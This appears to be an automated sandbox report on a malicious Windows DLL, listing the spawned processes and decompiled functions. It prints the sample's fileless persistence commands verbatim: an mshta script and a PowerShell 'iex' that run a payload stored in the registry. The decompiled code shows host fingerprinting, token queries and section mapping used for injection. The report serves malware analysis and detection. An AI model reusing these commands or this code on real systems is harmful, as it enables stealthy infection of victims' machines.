Start time:	14:31:20
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83006 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 4732 Parent PID: 5300

General

Start time:	14:31:20
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:148488 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5144 Parent PID: 5300

General

Start time:	14:31:28
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83022 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5804 Parent PID: 5300

General

Start time:	14:31:28
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17508 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mshta.exe PID: 5332 Parent PID: 3472

General

Start time:	14:31:28
Start date:	06/07/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>'
Imagebase:	0x7ff6bcd10000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5684 Parent PID: 5300

General

Start time:	14:31:31
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83042 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 1884 Parent PID: 5300

General

Start time:	14:31:31
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17518 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 3076 Parent PID: 5332

General

Start time:	14:31:32
Start date:	06/07/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5160 Parent PID: 3076

General

Start time:	14:31:32
Start date:	06/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 4972 Parent PID: 5300

General

Start time:	14:31:36
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17528 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 2812 Parent PID: 5300

General

Start time:	14:31:36
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83060 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5292 Parent PID: 5500 loaddll32.exeCOMMON

Executed Functions

Function 10001456, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E10001456(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001F0E();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E10001717(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E1000155C(E10001E55,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001F87(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10002009(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E1000201E(_t43);
				goto L11;
			}

0x1000145d
0x10001464
0x10001469
0x10001559
0x10001559
0x10001470
0x10001474
0x1000147a
0x10001488
0x10001489
0x1000148c
0x1000148f
0x10001498
0x1000149b
0x100014a1
0x100014a4
0x100014ab
0x10001556
0x00000000
0x10001556
0x100014b5
0x10001506
0x10001506
0x1000151c
0x10001521
0x10001549
0x10001523
0x10001526
0x1000152c
0x10001531
0x10001538
0x10001538
0x1000153f
0x1000153f
0x1000154c
0x10001552
0x10001554
0x10001554
0x00000000
0x10001552
0x100014c2
0x10001500
0x00000000
0x10001500
0x100014c4
0x100014c7
0x100014d0
0x100014d2
0x100014d6
0x100014f8
0x100014f8
0x00000000
0x100014f8
0x100014d8
0x100014dd
0x100014e2
0x100014e9
0x00000000
0x00000000
0x100014ee
0x100014f1
0x00000000

APIs

Part of subcall function 10001F0E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,10001462,751463F0), ref: 10001F1D
Part of subcall function 10001F0E: GetVersion.KERNEL32 ref: 10001F2C
Part of subcall function 10001F0E: GetCurrentProcessId.KERNEL32 ref: 10001F48
Part of subcall function 10001F0E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 10001F61

GetSystemTime.KERNEL32(?,00000000,751463F0), ref: 10001474
SwitchToThread.KERNEL32 ref: 1000147A

Part of subcall function 10001717: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 1000176D
Part of subcall function 10001717: memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 10001833

Sleep.KERNELBASE(00000000,00000000), ref: 1000149B
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100014D0
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100014EE
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 10001526
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001538
CloseHandle.KERNEL32(00000000), ref: 1000153F
GetLastError.KERNEL32(?,00000000), ref: 10001547
GetLastError.KERNEL32 ref: 10001554

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThread$AllocCloseCodeCreateCurrentEventExitHandleObjectOpenSingleSleepSwitchSystemTimeVersionVirtualWaitmemcpy
String ID:
API String ID: 1962885430-0
Opcode ID: 86f2e835d60dbcb1ec91d1cce4192dfe94e3a80051a1e2ef8fba96cdcbc9dbfd
Instruction ID: 65dbc16d9a0349db468ca3b41a6515201db422734640c18706fad21f2de96105
Opcode Fuzzy Hash: 86f2e835d60dbcb1ec91d1cce4192dfe94e3a80051a1e2ef8fba96cdcbc9dbfd
Instruction Fuzzy Hash: 6431C275801A25EBF712EBA48C849DF77FCDF883E2B214122F901D7148EB30DA408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 01409135, Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E01409135(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x140d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E0140A6CC( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x140d2a4 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x140d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E01407306(_v8 + _v8, _t64);
							}
							HeapFree( *0x140d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x140d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E01407306(_v8 + _v8, _t64);
						}
						HeapFree( *0x140d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x01409135
0x0140913d
0x01409141
0x01409144
0x01409149
0x0140914b
0x01409150
0x01409150
0x01409156
0x01409158
0x01409165
0x014091c6
0x01409167
0x0140916c
0x01409172
0x01409177
0x01409185
0x01409189
0x01409198
0x0140919f
0x014091a6
0x014091a6
0x014091b1
0x014091b1
0x01409189
0x01409177
0x014091c8
0x014091ce
0x014091d8
0x014091da
0x014091df
0x014091ee
0x014091f2
0x014091fd
0x01409204
0x0140920b
0x0140920b
0x01409217
0x01409217
0x014091f2
0x01409222
0x01409224
0x01409227
0x01409229
0x0140922c
0x0140922f
0x01409239
0x0140923d
0x01409241

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 0140916C
RtlAllocateHeap.NTDLL(00000000,?), ref: 01409183
GetUserNameW.ADVAPI32(00000000,?), ref: 01409190
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,01405D20), ref: 014091B1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 014091D8
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 014091EC
GetComputerNameW.KERNEL32(00000000,00000000), ref: 014091F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,01405D20), ref: 01409217

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: c296e4064b3d647266c359d8869b699f9d7ea66dbfae700a3183ef3066d28f86
Instruction ID: 14739d6f4a0978f069e4dca74851c25fef7c09d44265ed5421583452b01ae039
Opcode Fuzzy Hash: c296e4064b3d647266c359d8869b699f9d7ea66dbfae700a3183ef3066d28f86
Instruction Fuzzy Hash: C3313CB1A00205EFEB22DFEADDC1A6EB7F9EF54214F11447AE508D72A5D730EA059B10

Uniqueness

Uniqueness Score: -1.00%

Function 01405A27, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E01405A27(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E0140A71F(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E0140A734(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x01405a34
0x01405a35
0x01405a36
0x01405a37
0x01405a38
0x01405a3c
0x01405a43
0x01405a52
0x01405a55
0x01405a58
0x01405a5f
0x01405a62
0x01405a65
0x01405a68
0x01405a6b
0x01405a76
0x01405a78
0x01405a81
0x01405a89
0x01405a8b
0x01405a9d
0x01405aa7
0x01405aab
0x01405aba
0x01405abe
0x01405ac7
0x01405acf
0x01405acf
0x01405ad1
0x01405ad1
0x01405ad9
0x01405adf
0x01405ae3
0x01405ae3
0x01405aee

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 01405A6E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 01405A81
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 01405A9D

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 01405ABA
memcpy.NTDLL(00000000,00000000,0000001C), ref: 01405AC7
NtClose.NTDLL(?), ref: 01405AD9
NtClose.NTDLL(00000000), ref: 01405AE3

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: a56ebc7ac920fbd2f5277dcd390a92ffdba048f044c88d47994d6032d4217c47
Instruction ID: e809c5f19c93af0e503b5842ede7874a3887979ccb6fe7f855e383a08c0109e4
Opcode Fuzzy Hash: a56ebc7ac920fbd2f5277dcd390a92ffdba048f044c88d47994d6032d4217c47
Instruction Fuzzy Hash: A5210AB1900219FBDB12EF96CC84ADEBFBDEB18740F108166F601E6160D7719A44DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001996, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001996(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001A44(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x1000199f
0x100019a6
0x100019a7
0x100019a8
0x100019a9
0x100019aa
0x100019bb
0x100019bf
0x100019d3
0x100019d6
0x100019d9
0x100019e0
0x100019e3
0x100019ea
0x100019ed
0x100019f0
0x100019f3
0x100019f8
0x10001a33
0x100019fa
0x100019fd
0x10001a03
0x10001a08
0x10001a0c
0x10001a2a
0x10001a0e
0x10001a15
0x10001a23
0x10001a23
0x10001a0c
0x10001a3b

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000), ref: 100019F3

Part of subcall function 10001A44: NtMapViewOfSection.NTDLL(00000000,000000FF,10001A08,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,10001A08,?), ref: 10001A71

memset.NTDLL ref: 10001A15

Strings

@, xrefs: 100019E3

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: 3e47c97fc558f31320fa5412d1ad32580be8ebc7870d0b2d38d2d2664d752884
Instruction ID: d3befc9384620d8d128f167a041658b0fdf48f719705d908fc7b69197333c8db
Opcode Fuzzy Hash: 3e47c97fc558f31320fa5412d1ad32580be8ebc7870d0b2d38d2d2664d752884
Instruction Fuzzy Hash: A921FCB6E00209AFDB11DFA9C8849DEFBF9FF48354F104469E615F7210D731AA448BA5

Uniqueness

Uniqueness Score: -1.00%

Function 10001BAC, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001BAC(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x10004140;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001bac
0x10001bb5
0x10001bba
0x10001bc0
0x10001bc9
0x10001bcf
0x10001bd1
0x10001bd4
0x10001bd9
0x10001be0
0x10001be0
0x10001be4
0x10001bea
0x10001bef
0x00000000
0x00000000
0x10001bf5
0x10001bff
0x10001c01
0x10001c04
0x10001c07
0x10001c0b
0x10001c13
0x10001c15
0x10001c18
0x10001c80
0x10001c80
0x10001c84
0x00000000
0x00000000
0x10001c1d
0x10001c23
0x10001c25
0x10001c38
0x10001c3b
0x10001c3b
0x10001c3b
0x10001c3f
0x10001c27
0x10001c27
0x10001c2f
0x10001c31
0x00000000
0x00000000
0x00000000
0x00000000
0x10001c31
0x10001c1f
0x10001c1f
0x10001c33
0x10001c33
0x10001c33
0x10001c42
0x10001c45
0x10001c47
0x10001c4e
0x10001c49
0x10001c49
0x10001c49
0x10001c56
0x10001c5c
0x10001c5e
0x10001c8e
0x10001c60
0x10001c60
0x10001c63
0x10001c65
0x10001c6d
0x10001c6d
0x10001c72
0x10001c74
0x10001c7b
0x10001c7d
0x10001c7d
0x10001c7d
0x00000000
0x10001c7d
0x00000000
0x10001c5e
0x10001c0d
0x10001c0d
0x10001c11
0x00000000
0x00000000
0x10001c11
0x10001c91
0x10001c91
0x10001c98
0x10001c9d
0x00000000
0x00000000
0x10001ca3
0x10001cae
0x00000000
0x10001cae
0x10001ca5
0x10001ca5
0x10001cab
0x00000000
0x10001cab
0x10001bd9
0x10001caf
0x10001cb4

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 10001BE4
GetProcAddress.KERNEL32(?,00000000), ref: 10001C56

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 62c796670e4a60b765b11e521790c9b6dde4df6d90a37f565c64d30f3b720e0e
Instruction ID: 50b75003dc9d1c4c95d46c285da4c6f2fbc0cd39a6ad98ee869f03b58150b9be
Opcode Fuzzy Hash: 62c796670e4a60b765b11e521790c9b6dde4df6d90a37f565c64d30f3b720e0e
Instruction Fuzzy Hash: 09313571E4020A9FFB54CF59C890AEEB7F9FF04394B654069E841EB248E770DA41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10001A44, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001A44(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001a56
0x10001a5c
0x10001a6a
0x10001a71
0x10001a76
0x10001a7c
0x00000000
0x10001a7d
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,10001A08,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,10001A08,?), ref: 10001A71

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 19d529d38f2a3e11611b8b1d221fd0049a8602d5a3d49d13015f579f0f6b8145
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
